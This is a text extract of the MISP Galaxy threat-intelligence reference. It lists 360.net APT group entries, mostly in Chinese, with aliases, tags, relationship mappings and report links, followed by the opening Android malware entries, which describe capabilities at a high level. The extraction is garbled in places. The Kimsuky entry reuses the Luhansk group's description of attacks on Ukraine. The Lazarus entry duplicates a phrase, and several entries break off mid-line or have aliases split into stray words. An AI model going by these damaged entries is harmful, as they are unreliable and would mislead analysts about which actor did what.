MISP Galaxy Clusters

MISP Galaxy Cluster

Introduction ................................................................................................................. 2
Funding and Support ................................................................................................. 4
MISP galaxy ............................................................................................................... 5
360.net Threat Actors ............................................................................................... 5
Android ..................................................................................................................... 22
Azure Threat Research Matrix .................................................................................. 134
attck4fraud ............................................................................................................... 157
Backdoor ................................................................................................................... 174
Banker ....................................................................................................................... 184
Bhadra Framework ................................................................................................... 209
Botnet ......................................................................................................................... 217
Branded Vulnerability .............................................................................................. 268
Cert EU GovSector .................................................................................................... 272
China Defence Universities Tracker ......................................................................... 273
CONCORDIA Mobile Modelling Framework - Attack Pattern ............................... 343
Country ..................................................................................................................... 355
Cryptominers ............................................................................................................ 387
Actor Types .............................................................................................................. 389
Countermeasures ..................................................................................................... 396
Detections ................................................................................................................. 436
Techniques ............................................................................................................... 460
Election guidelines ................................................................................................... 547
Exploit-Kit ............................................................................................................... 553
FIRST DNS Abuse Techniques Matrix .................................................................... 572
Malpedia .................................................................................................................... 577
Main Features .......................................................................................................... 1466
Microsoft Activity Group actor ................................................................................ 2073
Misinformation Pattern ............................................................................................ 2110
MITRE ATLAS Attack Pattern ................................................................................ 2128
MITRE ATLAS Course of Action ............................................................................. 2155
Attack Pattern ......................................................................................................... 2165
Course of Action ..................................................................................................... 2885
Assets ....................................................................................................................... 3077
Groups ....................................................................................................................... 3080
Levels ......................................................................................................................... 3086
Software .................................................................................................................... 3086
The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.
MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten, replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the MISP galaxy.
Funding and Support

The MISP project is financially and resource supported by CIRCL Computer Incident Response Center Luxembourg.

A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as Improving MISP as building blocks for next-generation information sharing.

Co-financed by the European Union
Connecting Europe Facility

If you are interested to co-fund projects around MISP, feel free to get in touch with us.
MISP galaxy

360.net Threat Actors

Known or estimated adversary groups as identified by 360.net.

360.net Threat Actors is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
360.net

CIA - APT-C-39

The tag is: misp-galaxy:360net-threat-actor="CIA - APT-C-39"

CIA - APT-C-39 is also known as:

Table 1. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/96.html">https://apt.360.net/report/apts/96.html</a></td>
</tr>
<tr>
<td><a href="https://apt.360.net/report/apts/12.html">https://apt.360.net/report/apts/12.html</a></td>
</tr>
</tbody>
</table>

海莲花 - APT-C-00

The tag is: misp-galaxy:360net-threat-actor="海莲花 - APT-C-00"

海莲花 - APT-C-00 is also known as:

- OceanLotus

View relationships graph

海莲花 - APT-C-00 has relationships with:

- similar: misp-galaxy:threat-actor="APT32" with estimative-language:likelihood-probability="likely"
Table 2. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/93.html">https://apt.360.net/report/apts/93.html</a></td>
</tr>
<tr>
<td><a href="https://apt.360.net/report/apts/1.html">https://apt.360.net/report/apts/1.html</a></td>
</tr>
<tr>
<td><a href="https://apt.360.net/report/apts/94.html">https://apt.360.net/report/apts/94.html</a></td>
</tr>
</tbody>
</table>

摩诃草- APT-C-09

摩诃草组织（APT-C-09）又称 HangOver、VICEROY TIGER、The Dropping Elephant、Patchwork，是一个来自南亚地区的境外APT组织，该组织已持续活跃了12年。摩诃草组织最早由Norman安全公司于2013年曝光，随后又有其他安全厂商持续追踪并披露该组织的最新活动，但该组织并未由于相关攻击行动曝光而停止对相关目标的攻击，相反从2015年开始更加活跃。摩诃草组织主要针对中国、巴基斯坦等亚洲地区国家进行网络间谍活动，其中以窃取敏感信息为主。相关攻击活动最早可以追溯到2009年11月，至今还非常活跃。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击，其中以科研教育领域为主。

The tag is: misp-galaxy:360net-threat-actor="摩诃草 - APT-C-09"

摩诃草- APT-C-09 is also known as:

- HangOver
- VICEROY TIGER
- The Dropping Elephant
- Patchwork

View relationships graph

摩诃草- APT-C-09 has relationships with:

- similar: misp-galaxy:threat-actor="VICEROY TIGER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="QUILTED TIGER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="likely"

Table 3. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/110.html">https://apt.360.net/report/apts/110.html</a></td>
</tr>
<tr>
<td><a href="https://apt.360.net/report/apts/6.html">https://apt.360.net/report/apts/6.html</a></td>
</tr>
</tbody>
</table>


**Gold Rat - APT-C-27**

From November 2014 to the present, the Gold Rat (APT-C-27) organization has conducted an organized, planned, targeted, and prolonged attack on the Syrian region. The attack platform expanded from the Windows platform to the Android platform. Up to now, we have captured 29 Android platform attack samples, 55 Windows platform attack samples, and 9 C&C domains. The naming of APT-C-27 Gold Rat is mainly due to the following factors: 1) The organization uses a significant amount of resources, indicating that the attack organization has abundant resources and that the Gold Rat has a long-term accumulation of grains in the wild, which also has rich meanings; 2) The organization often attacks intermittently, similar to a rat; 3) Gold Rat is a relatively representative animal in the Syrian region.

The tag is: **misp-galaxy:360net-threat-actor="Gold Rat - APT-C-27"**

**Gold Rat - APT-C-27** is also known as:

*Table 4. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/100.html">https://apt.360.net/report/apts/100.html</a></td>
</tr>
<tr>
<td><a href="https://apt.360.net/report/apts/98.html">https://apt.360.net/report/apts/98.html</a></td>
</tr>
</tbody>
</table>

**Lazarus - APT-C-26**

Lazarus (formerly known as APT-C-26) is also known as APT38. The Lazarus organization has been active since 2007, with significant activities in 2014, 2016, and 2017. It is suspected to be behind the 2017 global ransomware attack "Wannacry" and the 2017 global ransomware "Wannacry".

The tag is: **misp-galaxy:360net-threat-actor="Lazarus - APT-C-26"**

Lazarus - APT-C-26 is also known as:

- APT38

View relationships graph

Lazarus - APT-C-26 has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT38 - G0082" with estimative-language:likelihood-probability="likely"

*Table 5. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/90.html">https://apt.360.net/report/apts/90.html</a></td>
</tr>
</tbody>
</table>
**黄金雕 - APT-C-34**

The tag is: `misp-galaxy:360net-threat-actor="黄金雕 - APT-C-34"`

**Table 6. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/11.html">https://apt.360.net/report/apts/11.html</a></td>
</tr>
</tbody>
</table>

**盲眼鹰 - APT-C-36**

The tag is: `misp-galaxy:360net-threat-actor="盲眼鹰 - APT-C-36"`

**Table 7. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/83.html">https://apt.360.net/report/apts/83.html</a></td>
</tr>
</tbody>
</table>

**毒针 - APT-C-31**

The tag is: `misp-galaxy:360net-threat-actor="毒针 - APT-C-31"`

**Table 8. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/10.html">https://apt.360.net/report/apts/10.html</a></td>
</tr>
</tbody>
</table>

**ArmaRat - APT-C-33**

2016年7月360在研究Android智能手机APT活动中发现Telegram后门ArmaRat针对伊朗等国家Android智能手机用户实施长达两年之久的攻击。

The tag is: `misp-galaxy:360net-threat-actor="ArmaRat - APT-C-33"`
The tag is: *misp-galaxy:360net-threat-actor="ArmaRat - APT-C-33"*

**ArmaRat - APT-C-33** is also known as:

**Table 9. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### 军刀狮 - APT-C-38

从2015年7月起至今，军刀狮组织(APT-C-38)在中东地区展开了有组织、有计划、针对性的不间断攻击，其攻击平台为Windows和Android。由于军刀狮组织的攻击目标有一个主要的特色，目标是西亚中东某国的库尔德人，另Win端RAT包含的PDB路径下出现多次"Saber"，而亚洲狮为该中东国家的代表动物，结合该组织的一些其它特点以及360对APT组织的命名规则，我们将该组织命名为军刀狮(APT-C-38)。

The tag is: *misp-galaxy:360net-threat-actor="军刀狮 - APT-C-38"*

军刀狮 - APT-C-38 is also known as:

**Table 10. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/">https://apt.360.net/report/</a> apts/30.html</td>
</tr>
</tbody>
</table>

### 拍拍熊 - APT-C-37

拍拍熊组织(APT-C-37)针对极端组织"伊斯兰国"展开了有组织、有计划、针对性的长期不间断攻击，其攻击平台为Windows和Android。

The tag is: *misp-galaxy:360net-threat-actor="拍拍熊 - APT-C-37"*

拍拍熊 - APT-C-37 is also known as:

**Table 11. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/">https://apt.360.net/report/</a> apts/103.html</td>
</tr>
</tbody>
</table>

### 人面狮 - APT-C-15

人面狮行动是活跃在中东地区的网络间谍活动，主要目标可能是涉及到埃及和以色列等国家的不同组织，目的是窃取目标敏感数据信息。活跃时间主要集中在2014年6月到2015年11月期间，相关攻击活动最早可以追溯到2011年12月。主要利用社交网络进行水坑攻击，截止到目前共捕获到恶意代码样本314个，C&C域名7个。

The tag is: *misp-galaxy:360net-threat-actor="人面狮 - APT-C-15"*

人面狮 - APT-C-15 is also known as:

**Table 12. Table References**
美人鱼 - APT-C-07

美人鱼组织(APT-C-07)来自于中东的境外APT组织,已持续活跃了9年。主要针对政府机构进行网络间谍活动,以窃取敏感信息为目的,已证实有针对丹麦外交部的攻击。

Table 13. Table References

双尾蝎 - APT-C-23

2016年5月至2017年,双尾蝎组织(APT-C-23)对巴勒斯坦教育机构、军事机构等重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。攻击平台包括Windows与Android,攻击范围主要为中东地区,截至目前我们一共捕获了Android样本24个,Windows样本19个,涉及的C&C域名29个。将APT-C-23组织命名为双尾蝎,主要是考虑了以下几方面的因素:一是该组织同时攻击了巴勒斯坦和以色列这两个存在一定敌对关系的国家,这种情况在以往并不多见;二是该组织同时在Windows和Android两种平台发动攻击。虽然以往我们截获的APT组织中也有一些进行多平台攻击的例子,如海莲花,但绝大多APT组织攻击的重心仍然在Windows平台。而同时注重两种平台,并且在Android平台上攻击如此活跃的APT组织,在以往并不多见。第三个原因就是蝎子在巴以地区是一种比较有代表性的动物。

Table 14. Table References

蓝宝菇 - APT-C-12

从2011年开始持续至今,高级攻击组织蓝宝菇(APT-C-12)对我国政府、军工、科研、金融等重点单位和部门进行了持续的网络间谍活动。该组织主要关注核工业和科研等相关信息。被攻击目标主要集中在在中国大陆境内。
**毒云藤 - APT-C-01**

APT-C-01 又名毒云藤, 是一个长期针对中国境内的APT组织, 至少从2007年开始活跃。曾对中国国防、政府、科技、教育以及海事机构等重点单位和部门进行了长达11年的网络间谍活动, 主要关注军工、中美关系、两岸关系和海洋相关的领域, 在窃取重大决策及敏感信息。

APT-C-01 由360威胁情报中心首次披露, 结合该组织关联地区常见的蔓藤植物, 因此将其命名为“毒云藤”。

The tag is: `misp-galaxy:360net-threat-actor="毒云藤 - APT-C-01"`

**毒云藤 - APT-C-01** 也被称为:

- 穷奇
- 白海豚
- 绿斑

---

**Darkhotel - APT-C-06**

Darkhotel 是一个长期针对企业高管、国防工业、电子工业等重要机构实施网络间谍攻击活动的APT组织。2014年11月, 卡巴斯基实验室的安全专家首次发现了Darkhotel组织, 并说明该组织至少从2010年就已经开始活跃, 目标基本锁定在韩国、中国、俄罗斯和日本。卡巴斯基将该组织命名为Darkhotel, 是因为他们的一次攻击行动被曝光, 主要是利用酒店的无线网络有针对性地瞄准生产制造、国防、投资资本、私人股权投资、汽车等行业的精明管理者。

The tag is: `misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06"`

**Darkhotel - APT-C-06** 也被称为:

- Luder
- Karba
- Tapaux
- Dubnium
- SIG25

**View relationships graph**

Darkhotel - APT-C-06 与以下组织有关系:

- similar: `misp-galaxy:threat-actor="DarkHotel"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:mitre-intrusion-set="Darkhotel - G0012"` with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="DUBNIUM" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:microsoft-activity-group="Zigzag Hail" with estimative-language:likelihood-probability="likely"

Table 17. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt360.net/report/apts/97.html">https://apt360.net/report/apts/97.html</a></td>
</tr>
<tr>
<td><a href="https://apt360.net/report/apts/3.html">https://apt360.net/report/apts/3.html</a></td>
</tr>
</tbody>
</table>

奇幻熊 - APT-C-20

APT28(APT-C-20)又称 Pawn Storm Sofacy Group Sednit Fancy Bear STRONTIUM

APT28组织被怀疑幕后和俄罗斯政府有关，该组织相关攻击时间最早可以追溯到2004年。其主要目标包括国防工业、军队、政府组织和媒体。期间使用了大量0day漏洞，相关恶意代码除了针对Windows、Linux等PC操作系统，还会针对苹果IOS等移动设备操作系统。早前也曾被怀疑与北大西洋公约组织网络攻击事件有关。

APT28组织在2015年第一季度有大量的活动，用于攻击NATO成员国和欧洲、亚洲、中东政府。目前有许多少安厂商怀疑其与俄罗斯政府有关，而早前也曾被怀疑秘密调查MH17事件。从2016年开始该组织最新的目标瞄准了土耳其高级官员。

The tag is: misp-galaxy:360net-threat-actor="奇幻熊 - APT-C-20"

奇幻熊 - APT-C-20 is also known as:

• APT28
• Pawn Storm
• Sofacy Group
• Sednit
• Fancy Bear
• STRONTIUM

View relationships graph

奇幻熊 - APT-C-20 has relationships with:

• similar: misp-galaxy:threat-actor="APT28" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="Forest Blizzard" with estimative-language:likelihood-probability="likely"

Table 18. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

12
沙虫 - APT-C-13

沙虫组织的主要目标领域有：政府、教育、能源机构和电信运营商。进一步主要针对欧美国家政府、北约，以及乌克兰政府展开间谍活动。该组织曾使用0day漏洞(CVE-2014-4114)针对乌克兰政府发起了一次钓鱼攻击。而在威尔士举行讨论乌克兰危机的北约峰会针对美国也进行了攻击。该组织还使用了BlackEnergy恶意软件。而且沙虫组织不仅仅进行常规的网络间谍活动，还针对SCADA系统进行了攻击，研究者认为相关活动是为了之后的网络攻击进行侦查跟跟踪。另外有少量证据表明，针对乌克兰电力系统等工业领域的网络攻击中涉及到了BlackEnergy恶意软件。如果此次攻击的确使用了BlackEnergy恶意软件的话，那么可能会关联到沙虫组织。

The tag is: misp-galaxy:360net-threat-actor="沙虫 - APT-C-13"

沙虫 - APT-C-13 is also known as:

• SandWorm

View relationships graph

沙虫 - APT-C-13 has relationships with:

• similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:microsoft-activity-group="Seashell Blizzard" with estimative-language:likelihood-probability="likely"

Table 19. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/87.html">https://apt.360.net/report/apts/87.html</a></td>
</tr>
<tr>
<td><a href="https://apt.360.net/report/apts/69.html">https://apt.360.net/report/apts/69.html</a></td>
</tr>
</tbody>
</table>

肚脑虫 - APT-C-35

APT-C-35又名Donot，针对克什米尔地区相关国家的政府机构等领域进行网络间谍活动，以窃取敏感信息为主的攻击组织。该组织于2017年3月由360威胁情报团队首次曝光，随后有数个国内外安全团队持续追踪并披露该组织的最新攻击活动。攻击活动最早始于2016年4月，至今活跃，攻击方式主要采用鱼叉邮件进行攻击。

The tag is: misp-galaxy:360net-threat-actor="肚脑虫 - APT-C-35"

肚脑虫 - APT-C-35 is also known as:

• Donot

Table 20. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/102.html">https://apt.360.net/report/apts/102.html</a></td>
</tr>
<tr>
<td><a href="https://apt.360.net/report/apts/32.html">https://apt.360.net/report/apts/32.html</a></td>
</tr>
</tbody>
</table>
蔓灵花 - APT-C-08

蔓灵花组织利用鱼叉邮件以及系、统漏洞等方、式，主要攻击政府、电力和工、业相关单位，以窃取敏感信息为主。国外样本最早出、现在2013年11月，样本编译时间集中出现在2015年7月至2016年9月间，2016年网络安全公司Forcepoint最早报告了这一组织，随后被多次发现，至今还非常活跃。

The tag is: misp-galaxy:360net-threat-actor="蔓灵花 - APT-C-08"

蔓灵花 - APT-C-08 is also known as:

Table 21. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/5.html">https://apt.360.net/report/apts/5.html</a></td>
</tr>
</tbody>
</table>

索伦之眼 - APT-C-16

索伦之眼组织主要针对中国、俄罗斯等多个国家进行网络间谍活动，其中以窃取敏感信息为主。相关攻击活动最早可以追溯到2010年，至今还非常活跃。该组织在整个攻击过程中是高度隐蔽，且针对性极强，对特定目标采用定制的恶意程序或通信设施，不会重复使用相关攻击资源。相关恶意代码复杂度可以与方程式(Equation)媲美，其综合能力不弱于震网(Stuxnet)、火焰(Flame)等APT组织。

The tag is: misp-galaxy:360net-threat-actor="索伦之眼 - APT-C-16"

索伦之眼 - APT-C-16 is also known as:

• Sauron
• Strider

View relationships graph

索伦之眼 - APT-C-16 has relationships with:

• similar: misp-galaxy:threat-actor="ProjectSauron" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-intrusion-set="Strider - G0041" with estimative-language:likelihood-probability="likely"

Table 22. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/70.html">https://apt.360.net/report/apts/70.html</a></td>
</tr>
</tbody>
</table>

潜行者 - APT-C-30

潜行者组织主要搜集东南亚国家政府机构、国防部门、情报机构等机构敏感信息，其中针对我国就进行了超十年左右的网络攻击。主要针对政府、通信等领域重点单位，攻击最早可以关联追溯到2009年，最早的样本编译时间为2008年，攻击活动一直持续至今。

The tag is: misp-galaxy:360net-threat-actor="潜行者 - APT-C-30"
APT-C-24 - APT-C-24 is also known as:

- SideWinder

View relationships graph

APT-C-24 has relationships with:

- similar: misp-galaxy:threat-actor="RAZOR TIGER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Sidewinder - G0121" with estimative-language:likelihood-probability="likely"

Table References

Links

https://apt.360.net/report/apts/92.html

ScarCruft - APT-C-28

ScarCruft - APT-C-28 is also known as:

- APT37
- Reaper
- Group123

The tag is: misp-galaxy:360net-threat-actor="ScarCruft - APT-C-28"

ScarCruft - APT-C-28 is also known as:

- APT37
- Reaper
- Group123
ScarCruft - APT-C-28 has relationships with:

- similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"

Table 25. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Turla - APT-C-29**

Turla Group

又名 Waterbug、Venomous Bear、Group 88 等，具有俄罗斯背景的 APT 组织，至少从 1996 年就开始活跃，2015 年以后攻击活动更加频繁。

Turla 组织的攻击目标遍及全球多个国家，攻击对象涉及政府、外交、军事、教育、研究和医疗等多个领域，因开展水坑攻击和鱼叉式网络钓鱼攻击以及利用定制化的恶意软件而闻名。

The tag is: misp-galaxy:360net-threat-actor="Turla - APT-C-29"

Turla - APT-C-29 is also known as:

- Turla, Waterbug, Venomous Bear, Group 88

Table 26. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apt.360.net/report/apts/81.html">https://apt.360.net/report/apts/81.html</a></td>
</tr>
<tr>
<td><a href="https://apt.360.net/report/apts/88.html">https://apt.360.net/report/apts/88.html</a></td>
</tr>
</tbody>
</table>

**Carbanak - APT-C-11**

Carbanak（Anunak）是一个跨国网络犯罪团伙。2013 年以来，向全球约 30 个国家和地区的 100 家银行、电子支付系统和其他金融机构发动了攻击，目前相关攻击活动还很活跃。

The tag is: misp-galaxy:360net-threat-actor="Carbanak - APT-C-11"

Carbanak - APT-C-11 is also known as:

- Anunak

View relationships graph

Carbanak - APT-C-11 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Carbanak - G0008" with estimative-language:likelihood-probability="likely"
### APT-C-17

APT-C-17 is also known as:

**Operation_C-Major**

The tag is: *misp-galaxy:360net-threat-actor=*APT-C-17*

### APT-C-40

APT-C-40 is also known as:

**Operation_C-Major**

**Transparent**

**Tribe**

**360**

**Mythic**

**Leopard**

**Honey**

The tag is: *misp-galaxy:360net-threat-actor=*APT-C-40*

### APT-C-56

APT-C-56 is also known as:

- **APT36**
- **ProjectM**
• C-Major

View relationships graph

- APT-C-56 has relationships with:
  • similar: misp-galaxy:threat-actor="Operation C-Major" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:mitre-intrusion-set="Transparent Tribe - G0134" with estimative-language:likelihood-probability="likely"

Table 30. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

- **APT-C-61**

APT-C-61 is also known as:

The tag is: misp-galaxy:360net-threat-actor="APT-C-61"

- APT-C-61 is also known as:

Table 31. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

- **Kimsuky - APT-C-55**

Kimsuky is also known as (Mystery Baby, Baby Coin, Smoke Screen, BabyShark, Cobra Venom). Kaspersky 2013年,该组织对乌克兰政府机构进行了定向攻击。根据相关报告分析,该组织的攻击活动至少可以追溯到2014年,曾大量通过网络钓鱼、水坑攻击等手段针对乌克兰政府机构进行攻击,在其过去的攻击活动中曾使用过开源Quasar RAT和VERMIN等恶意软件,捕获目标的音频和视频,窃取密钥,获取机密文件等等。

The tag is: misp-galaxy:360net-threat-actor="Kimsuky - APT-C-55"

Kimsuky - APT-C-55 is also known as:

Table 32. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

- **Luhansk - APT-C-46**

2019年,国外安全厂商披露了一起疑似卢甘斯克背景的APT组织针对乌克兰政府的定向攻击活动。根据相关报告分析,该组织的攻击活动至少可以追溯到2014年,曾大量通过网络钓鱼、水坑攻击等手段针对乌克兰政府机构进行攻击,在其过去的攻击活动中曾使用过开源Quasar RAT和VERMIN等恶意软件,捕获目标的音频和视频,窃取密钥,获取机密文件等等。

The tag is: misp-galaxy:360net-threat-actor="Luhansk - APT-C-46"
**DomesticKitten - APT-C-50**

Domestic Kitten (Check Point), also known as APT-C-50. It was first disclosed abroad in 2016 and has been conducting widespread and targeted attacks. Its targets include political dissidents and opponents, as well as ISIS supporters and the Kurdish minority living in the western part of the Middle East.

The tag is: `misp-galaxy:360net-threat-actor="DomesticKitten - APT-C-50"`

**SandCat - APT-C-32**

SandCat, discovered by Kaspersky in 2018, has used FinSpy/FinSpy/FinSpy/CHAINSHOT/CHAINSHOT and has the capability to exploit 0-Day vulnerabilities, such as CVE-2018-8589 and CVE-2018-8611.

The tag is: `misp-galaxy:360net-threat-actor="SandCat - APT-C-32"`
SandCat - APT-C-32 is also known as:

```
Table 36. Table References

Links
```

## CNC - APT-C-48

The tag is: `misp-galaxy:360net-threat-actor="CNC - APT-C-48"

CNC - APT-C-48 is also known as:

```
Table 37. Table References

Links
```

## 蓝色魔眼 - APT-C-41

The tag is: `misp-galaxy:360net-threat-actor="蓝色魔眼 - APT-C-41"

蓝色魔眼 - APT-C-41 is also known as:

```
Table 38. Table References

Links

https://apt.360.net/report/arts/158.html
```

## Machete - APT-C-43

The tag is: `misp-galaxy:360net-threat-actor="Machete - APT-C-43"

Machete - APT-C-43 is also known as:

- Machete

View relationships graph

Machete - APT-C-43 has relationships with:

- similar: `misp-galaxy:threat-actor="El Machete"` with estimative-language:likelihood-
Gamaredon - APT-C-53

Gamaredon, also known as Primitive, Winterflounder, BlueAlpha, has been active since at least 2013. It is believed to be supported by the Russian government. The tag is: `misp-galaxy:360net-threat-actor="Gamaredon - APT-C-53"`

Gamaredon - APT-C-53 is also known as:

WellMess - APT-C-42

WELLMESS, also known as 360net-threat-actor="WellMess - APT-C-42"

WellMess - APT-C-42 is also known as:
Android

Android malware galaxy based on multiple open sources..

Android is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

CopyCat

CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.

The tag is: misp-galaxy:android="CopyCat"

Table 43. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Andr/Dropr-FH

Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.

The tag is: misp-galaxy:android="Andr/Dropr-FH"

Andr/Dropr-FH is also known as:

- GhostCtrl

View relationships graph

Andr/Dropr-FH has relationships with:

- similar: misp-galaxy:malpedia="GhostCtrl" with estimative-language:likelihood-probability="likely"

Table 44. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Judy

The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.

The tag is: misp-galaxy:android="Judy"

Table 45. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://fortune.com/2017/05/28/android-malware-judy/">http://fortune.com/2017/05/28/android-malware-judy/</a></td>
</tr>
<tr>
<td><a href="https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/">https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/</a></td>
</tr>
</tbody>
</table>

RedAlert2

The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user's credentials and sends them to its C&C server.

The tag is: misp-galaxy:android="RedAlert2"

View relationships graph

RedAlert2 has relationships with:

- similar: misp-galaxy:malpedia="RedAlert2" with estimative-language:likelihood-probability="likely"

Table 46. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html">https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html</a></td>
</tr>
</tbody>
</table>

Tizi

Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social
media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.

The tag is: *misp-galaxy:android=*"Tizi"

**Table 47. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**DoubleLocker**

DoubleLocker can change the device's PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.

The tag is: *misp-galaxy:android=*"DoubleLocker"

**View relationships graph**

DoubleLocker has relationships with:

- similar: *misp-galaxy:malpedia=*"DoubleLocker" with *estimative-language:likelihood-probability=*"likely"

**Table 48. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Svpeng**

Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.

The tag is: *misp-galaxy:android=*"Svpeng"

Svpeng is also known as:

- Invisible Man

**View relationships graph**

Svpeng has relationships with:
LokiBot

LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.

The tag is: `misp-galaxy:android="LokiBot"`

View relationships graph

LokiBot has relationships with:

- similar: `misp-galaxy:malpedia="Loki Password Stealer (PWS)"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="LokiBot"` with estimative-language:likelihood-probability="likely"

BankBot

The main goal of this malware is to steal banking credentials from the victim's device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.

